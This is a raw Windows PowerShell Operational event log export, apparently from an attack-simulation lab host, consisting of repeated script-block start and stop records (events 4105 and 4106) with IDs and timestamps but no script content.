Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039400
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039399
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039394
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039393
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039371
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039370
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039369
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039368
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039352
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039351
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
